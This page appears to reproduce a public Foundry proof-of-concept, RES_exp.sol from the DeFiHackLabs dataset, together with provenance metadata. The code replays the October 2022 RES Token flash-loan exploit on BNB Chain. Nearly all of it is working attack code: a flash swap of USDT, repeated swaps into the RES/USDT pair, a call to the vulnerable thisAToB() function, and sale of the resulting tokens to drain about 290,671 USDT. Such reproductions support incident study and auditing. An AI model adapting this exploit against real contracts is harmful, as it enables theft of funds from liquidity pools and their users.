Public reproduction file
src/test/2022-10/RES_exp.sol
Public reproduction file for dataset entry RES-Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 290,671 USDT8// Attacker : 0x986b2e2a1cf303536138d8ac762447500fd781c69// Attack Contract : https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f10// Vulnerable Contract : https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d2111// Attack Txs :12// - https://bscscan.com/tx/0xe59fa48212c4ee716c03e648e04f0ca390f4a4fc921a890fded0e01afa4ba96d13// - https://bscscan.com/tx/0xef19a4dfd69874d5efda3e38b5a19cae4e0b0bdc95769760bd85ede4d15609ac15// @Info16// Vulnerable Contract Code : https://www.bscscan.com/address/0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21#code#L68318// @Analysis19// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/157812033750966272120// Twitter Ancilia : https://x.com/AnciliaInc/status/157811977844668006421// Article QuillAudits : https://quillaudits.medium.com/res-token-290k-flash-loan-exploit-quillaudits-9300657fff7b23interface IRES is IERC20 {24 function thisAToB() external;25}27contract ContractTest is Test {28 IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);29 IERC20 constant ALL_TOKEN = IERC20(0x04C0f31C0f59496cf195d2d7F1dA908152722DE7);30 IPancakeRouter constant PS_ROUTER = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));31 IPancakePair constant USDT_WBNB_PAIR = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);32 IPancakePair constant USDT_RES_PAIR = IPancakePair(0x05ba2c512788bd95cd6D61D3109c53a14b01c82A);33 IPancakePair constant USDT_ALL_PAIR = IPancakePair(0x1B214e38C5e861c56e12a69b6BAA0B45eFe5C8Eb);34 IRES constant RES_TOKEN = IRES(0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21);36 function setUp() public {37 vm.createSelectFork("bsc", 21_948_016);38 // Adding labels to improve stack traces' readability39 vm.label(address(USDT_TOKEN), "USDT_TOKEN");40 vm.label(address(PS_ROUTER), "PS_ROUTER");41 vm.label(address(USDT_WBNB_PAIR), "USDT_WBNB_PAIR");42 vm.label(address(USDT_RES_PAIR), "USDT_RES_PAIR");43 vm.label(address(USDT_ALL_PAIR), "USDT_ALL_PAIR");44 vm.label(address(RES_TOKEN), "RES_TOKEN");45 }47 function stringsEquals(bytes calldata s1, string memory s2) private pure returns (bool) {48 bytes memory b1 = bytes(s1);49 bytes memory b2 = bytes(s2);51 uint256 l1 = b1.length;52 if (l1 != b2.length) return false;53 for (uint256 i = 0; i < l1; i++) {54 if (b1[i] != b2[i]) return false;55 }56 return true;57 }59 function testExploit() public {60 emit log_named_decimal_uint(61 "[Start] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 1862 );64 USDT_WBNB_PAIR.swap(10_014_120_886_666_860_414_836_616, 0, address(this), "borrowusdt");66 emit log_named_decimal_uint(67 "[End] Attacker USDT balance after exploit", USDT_TOKEN.balanceOf(address(this)), 1868 );69 }71 function pancakeCall(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {72 if (stringsEquals(data, "borrowusdt")) {73 emit log_named_decimal_uint(74 "[Flashloan] now Attacker USDT balance is", USDT_TOKEN.balanceOf(address(this)), 1875 );77 USDT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);79 address[] memory path = new address[](2);80 path[0] = address(USDT_TOKEN);81 path[1] = address(RES_TOKEN);83 emit log_named_decimal_uint(84 "[FlashLoan] Res Token Balance of address(user)",85 RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),86 887 );89 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 476_862_899_365_088_591_182_696);91 // use flashswap will get more than buy92 USDT_RES_PAIR.swap(0, 71_519_292_481_906, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");94 console.log("[FlashLoan] swap 1 over");96 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 953_725_798_730_177_182_365_392);98 USDT_RES_PAIR.swap(0, 22_030_478_307_020, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");100 console.log("[FlashLoan] swap 2 over");102 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_430_588_698_095_265_773_548_088);104 USDT_RES_PAIR.swap(0, 7_810_673_572_823, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");106 console.log("[FlashLoan] swap 3 over");108 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_907_451_597_460_354_364_730_784);110 USDT_RES_PAIR.swap(0, 3_504_534_400_905, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");112 console.log("[FlashLoan] swap 4 over");114 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_384_314_496_825_442_955_913_480);116 USDT_RES_PAIR.swap(0, 1_845_944_923_363, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");118 console.log("[FlashLoan] swap 5 over");120 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_861_177_396_190_531_547_096_176);122 USDT_RES_PAIR.swap(0, 1_084_945_873_965, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");124 console.log("[FlashLoan] swap 6 over");126 // cost contract usd127 RES_TOKEN.thisAToB();129 // token can't support transfer to contract130 vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);131 RES_TOKEN.approve(address(this), type(uint256).max);133 vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);134 ALL_TOKEN.approve(address(this), type(uint256).max);136 uint256 res_balance = RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));138 emit log_named_decimal_uint("[FlashLoan] Res Token Balance of address(user)", res_balance, 8);140 emit log_named_decimal_uint(141 "[FlashLoan] All Token Balance of address(user)",142 ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),143 18144 );146 uint256 alltoken_balance = ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));148 ALL_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_ALL_PAIR), alltoken_balance);150 console.log("transfer all token over");152 (uint256 reserve0, uint256 reserve1,) = USDT_ALL_PAIR.getReserves();154 uint256 get_value = (alltoken_balance * reserve1) / (alltoken_balance + reserve0);156 uint256 getusdamount = get_value - ((get_value * 10 / 10_000));158 USDT_ALL_PAIR.swap(0, getusdamount, address(this), "");160 emit log_named_decimal_uint(161 "[FlashLoan] sell Alltoken over, Attacker usdt balance is", USDT_TOKEN.balanceOf(address(this)), 18162 );164 RES_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_RES_PAIR), res_balance);166 USDT_RES_PAIR.swap(1_905_851_854_454_828_201_052_166, 0, address(this), "");168 emit log_named_decimal_uint(169 "[FlashLoan] sell Restoken over, Attacker usdt balance is", USDT_TOKEN.balanceOf(address(this)), 18170 );172 uint256 refund = amount0 + ((amount0 * 251 / 100_000));173 USDT_TOKEN.transfer(address(USDT_WBNB_PAIR), refund);174 } else {175 console.log("error");176 }177 }179 receive() external payable {}180}Analysis
Dataset entry
Public Foundry test for “RES-Token” (2022-10-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
- src/test/2023-11/3913_exp.solSame protocol or name in the dataset · 163 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x986b2e2a1cf303536138d8ac762447500fd781c6
- Attack Contract
0xff333de02129af88aae101ab777d3f5d709fec6f
- Vulnerable Contract
0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21
- Twitter: https://twitter.com/BlockSecTeam/status/1578120337509662721
- Twitter: https://x.com/AnciliaInc/status/1578119778446680064
- Article: https://quillaudits.medium.com/res-token-290k-flash-loan-exploit-quillaudits-9300657fff7b
- Explorer: https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f
- Explorer: https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21
- Explorer: https://bscscan.com/tx/0xe59fa48212c4ee716c03e648e04f0ca390f4a4fc921a890fded0e01afa4ba96d
- Explorer: https://bscscan.com/tx/0xef19a4dfd69874d5efda3e38b5a19cae4e0b0bdc95769760bd85ede4d15609ac
File record
- Name
- RES-Token
- Path
- src/test/2022-10/RES_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 793f87c2f96d0431f53c38da811ac567cf6a7c9d
- Language
- Solidity
- Size
- 181 lines
- Date
- 2022-10-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/RES_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 793f87c2f96d0431f53c38da811ac567cf6a7c9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.